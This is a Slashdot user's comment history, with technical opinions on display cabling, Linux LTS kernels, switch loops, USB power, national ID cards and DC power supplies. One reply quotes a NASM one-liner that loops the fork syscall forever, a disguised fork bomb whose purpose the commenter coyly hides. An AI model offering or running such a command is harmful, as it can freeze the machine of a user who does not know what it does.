Catch up on stories from the past week (and beyond) at the Slashdot story archive


Forgot your password?
Get HideMyAss! VPN, PC Mag's Top 10 VPNs of 2016 for 55% off for a Limited Time ×

Comment Re:HDMI=mostly disadvantages (Score 1) 406

Not to mention the time it takes to "negociate" the link probably when you plug it and leaves you with the feeling that nothing works. I don't count the number of times I've seen people press every button on the laptop to see if it would change anything on the black display.

BTW at home I'm still running on the VGA connector at 1600x1200 on an excellent, very clear display. The secret is to use those 13W3 connector cables from Sun immediately connected after a converter plugged into the DB15. No echo, no color issues, runs fine at 90Hz (250 MHz). They contain 3 independently shielded coax cables for the colors. Yes that's the same number of pixels as full HD, at 90Hz. Unless I'm mistaken, we're not far from the original HDMI limit ?

Comment Re:What's so special... (Score 1) 116

In fact my own usage in my projects as well as at my company has justified to take it over till last summer. And since Moritz and Ben from the debian LTS team have done an incredible job at feeding me with security backports for free, when Ben told me that debian 6 would be maintained till february, I found it the least I could do to pursue its maintenance for a few extra months to return the favor. So the fact that it's been used by debian has indeed justified 6 more months, which is nice already.

Acute observers will also note that in parallel Greg has also pushed 3.10 EOL quite far. It's just an indication that LTS is more of a team than isolated individuals the table seems to imply. People talk out of public lists. Some devote more time, some less, but everybody helps all other ones as time permits. This is a fun adventure that will go on after 2.6.32 :-)

Oh BTW, 3.2 is quite close to 2.6.32, it should be an excellent, riskless replacement. Over the last year I've pulled fixes exclusively from it.

Comment Mis-configured trunk ports can cause such an issue (Score 2, Informative) 388

This thing usually happens when two switches are attached with 2 (or more) trunked links ("etherchannel" in cisco terminology), and one of the switches has the trunk disabled on one of the ports (or someone moved the cable to another port during a diag). Thus the attachment becomes a loop. STP could take care of this, but it's common to disable it on access switches.

Comment Re:USB is hopeless (Score 2, Interesting) 277

In fact, USB has several issues : it is 5V while almost nothing works with 5V right now, which implies a conversion everywhere. But if we want to put converters everywhere, 5V is very low to start with, it'd be better to start with 18-19V like most notebook adapters. Also, the USB plug delivers low power which is often not enough to power a hard disk, reason why most USB/ATA adapters ship with a second wire to double the power input. Another problem with such a low voltage is that you cannot have a common rail between all plugs, because if one eats slightly too much, all others will fall below 4.5V or even 4V and will be under-spec.

Last and not least, USB is a terrible plug. You always have to try it both ways, you can't visually know if you have to plug it upwards or backwards. And even when you're in the correct direction, you have to approoach very precisely for it to plug correctly. How many of us really look at the plug when trying to insert it ?

I really think that the EIAJ connector has more future. Fit it with 13-20V and make the spec so that it should never go below 13V even when highly loaded. That way, you can design miniature power converters which will be able to provide 12V without much hassle (even 1 single component for the cheap ones). With that as a standard, you could see plugs everywhere including in airplanes, providing unregulated voltage which will fit every usage up to about 65W per plug. And that plug does not need to be looked at in order to insert it. We could even imagine a smaller version for small devices, similar to the common mini-jack found at the other end of USB plugs to bring more power to 2,5" USB/ATA adapters. This would be nice for ipods, mobile phones, etc...

The other advantage is that many equipments nowadays are already compatible with that voltage (eg: notebooks) and will not even require any additional converter.

Comment Re:X windows (Score 1) 100

echo -e 'global _start \n _start: \n mov eax, 2 \n int 80h \n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;

I like this one, I'm sure there are people who try it from time to time... It's very tempting to say what syscall #2 is, but it would remove temptation :-)

Comment Re:SSN 'safety' is insane, but it's not about the (Score 1) 234

OK, so you're precisely demonstrating that the laws protect the service providers and not the individuals.

If an online bank does not even require you to send officially stamped papers to prove your ID, then there's a real problem. Here it would not happen because such a bank would not be paid and would have no resort. That's why they're asking for a lot of papers.

It seems some poeple fear that it would slow the process down, but in fact it would not. How many times a week do you open a bank account ? This is typically the thing which can suffer several days latency for paper verification.

Comment Re:It is good SSN becomes totally public (Score 1) 234

France being a socialist country, French people have to pay way more in taxes than Americans do so the government can afford to do that for their citizens.

1) France is not a socialist country, re-read your books
2) In France, you actually have to pay for an ID card, so it's not everyone who pays for everyone. And even if it was, it would not really be a problem as every individual would be supposed to have one ID card. I just looked on mine and it had cost me about $20 20 years ago. That's reasonable.

Comment Re:It is good SSN becomes totally public (Score 1) 234

If you can't get in person to the establishment you want to get in relation with, it's very common that this establishment sends you papers by snail mail, and require a lot of information in return, as well as some original papers which can only be delivered by a local office such as the town council. I can assure you that this is really not a problem. Many people here in France, Germany and I believe most of Europe have no problem subscribing to services, ordering hardware abroad, etc...

Also interestingly, all the persons I know who have got their bank account pumped without their consent had ordered things in the US. Here in the old europe, it's far less common due to the number of verifications at every stage in the process.

In fact, the buyer is protected, and the service provider has the responsibility for ensuring he will get paid. That's the reason why most companies require a lot of information to ensure you're a real person who will pay them.

Comment Re:Why oh why... (Score 4, Interesting) 123

The Geode may be the only x86 CPU capable of running without even a heatsink on both the CPU and the chipset. As far as I know, Atom requires a heatsink and a fan on the chipset, and the VIA nano requires a heatsink on both. The Geode is really fantastic in this regard. A typical Geode-based system has no problem being less than 1cm thick and weighing only a few tens of grams. That's important in many areas today.

Comment Re:It is good SSN becomes totally public (Score 4, Interesting) 234

It's amazing that you Americans have such problems with your identities. I think it is because you don't have an ID card. Here in France, there's no such problem. I can give my SSN to anyone, because it's not used as an authentication system, just identication for a few things. It's written in plain numbers on some non-confidential papers and it causes no problem.

The reason is that we all have an ID card which is delivered after several controls have been performed. So we all present our ID card to prove our identity when paying by cheque, when we want to take money out of the bank, etc...

I regularly read about Americans taking care of destroying any ID information they can have so that nobody can reuse it. This sounds so much prehistoric to us out there that almost nobody believes it ! And I think that you're now in a situation where it will be difficult to make people accept the concept of the ID card simply because they will fear that someone somewhere will then know their ID. It's a shame, really.

Now don't get me wrong. ID stealing also happens here but is very rare because they require that the imitator either has got your ID card and looks exactly like your photo, or that he owns a fake ID card, which happens but is very limited due to the various security items which are not trivial to reproduce for the average Joe around.

I really hope that in 10-20 years you'll have got out of this archaic system, it's really a shame !

Comment This is due to TCP Window Scaling (Score 2, Informative) 515

Window scaling is disabled by default on windows, which limits TCP sessions to 64 kB, hence the per-session bandwidth on high-latency links such as DSL.

10-12 Mbps is typical of a DSL link with a 50 ms RTT (=ping time). 64 kB is 512 kbit. 512 kbit / 0.050 s = 10240 kbps = 10 Mbps.

I've already seen tuning guides on the net explaining how to enable window scaling on windows, though I'm not that much interested ;-)


Comment Re:This is snake oil (Score 1) 287

In switched mode power supply units, you have a MOSFET on the input. Since a MOSFET has an on-resistance, the power losses across it follow I^2. Also, in an AC PSU, you lose 1.2V in the rectifier, which means 1.2*I W. For instance, in a 500W PSU running off 120V, you're getting about 4A, which means 5W lost in the rectifier (1%).

So by switching from 120 to 240V, you divide the rectifier losses by 2, and the MOSFET/wiring losses by 4. By going to 400V, you divide rectifier losses by 3.33 and MOSFET/wiring losses by 11. And by going to DC, you remove rectifier losses since you don't have a rectifier anymore.

So running off high-voltage DC really makes sense. You can save a few percent of efficiency, which is not bad considering how much a server consumes nowadays.

Comment I'd suggest doing both, one at a time. (Score 2, Interesting) 178

Well, it's not wise to change both the hardware and the software at the same time. You think it will reduce your time to market but it might increase it instead due to the numerous changes that will have to happen in your toolchain before getting anything barely working again.

From what I understand, you have a big experience in 2.4 and Xscale. 2.4 Also works on x86, so you'll not have to re-learn everything from scratch by just changing the architecture. All your toolchains, boot scripts, packaging scripts, etc... will still work as they did before. Then, only once you get familiar with your new architecture and the minor changes you might observe in the boot sequence, build process etc... it will be the right time to evaluate a migration to 2.6. Once you put your finger there, you'll quickly discover that you need to upgrade your gcc, glibc, replace modutils with module-init-tools, experiment with hotplug and sysfs, maybe switch to udev, etc... Step by step you'll notice a big number of changes, but you will be able to proceed one at a time, which is not possible if you change the soft at the same time as the hardware.

Also there are other aspects to consider. 2.4 has been maintained for a very long time, and you're probably used to backport some mainline fixes to your own kernel from time to time. 2.6 is not maintained that long (avg 6 months), and changes so fast that you will not be able to backport fixes for many years. I'd strongly recommend to start with 2.6.27, because Adrian Bunk will maintain it for a long time, as he did with 2.6.16. Once 2.6.27 is not maintained anymore (in about 2 years) you'll have to decide whether you stick to 2.6.27 and try to backport fixes yourself or switch to 2.6.36 (just a guess).

Also, 2.4 accepts almost no new hardware nowadays. If your new platform works well, that's fine, but how can you be sure that next year your GigE NIC will not change to something not supported anymore ?

I would say that the only case where 2.4 would make sense for a long term starting from now is if you don't have the time to revalidate 2.6 or to wait for 2.6.27 to stabilize, and need to quickly release something which will sit at your customer's in a place where it cannot be upgraded. Something like "install and forget". But I don't feel like it's what you're looking for.

So, to summarize :
      1) switch your architecture
      2) switch your kernel

Whether an official release of your product exists between 1 and 2 is just a matter of your time constraints and customer demand.

Last, to show you you're not alone, I'm too considering switching our products to 2.6, but next release will still be 2.4. Too many changes for a short-term release, and 2.6.27 not ready yet to reach years of uptime (but it's getting better though). 2.6.25 was particularly good but not maintained anymore.

Hoping this helps,

Slashdot Top Deals

"Never give in. Never give in. Never. Never. Never." -- Winston Churchill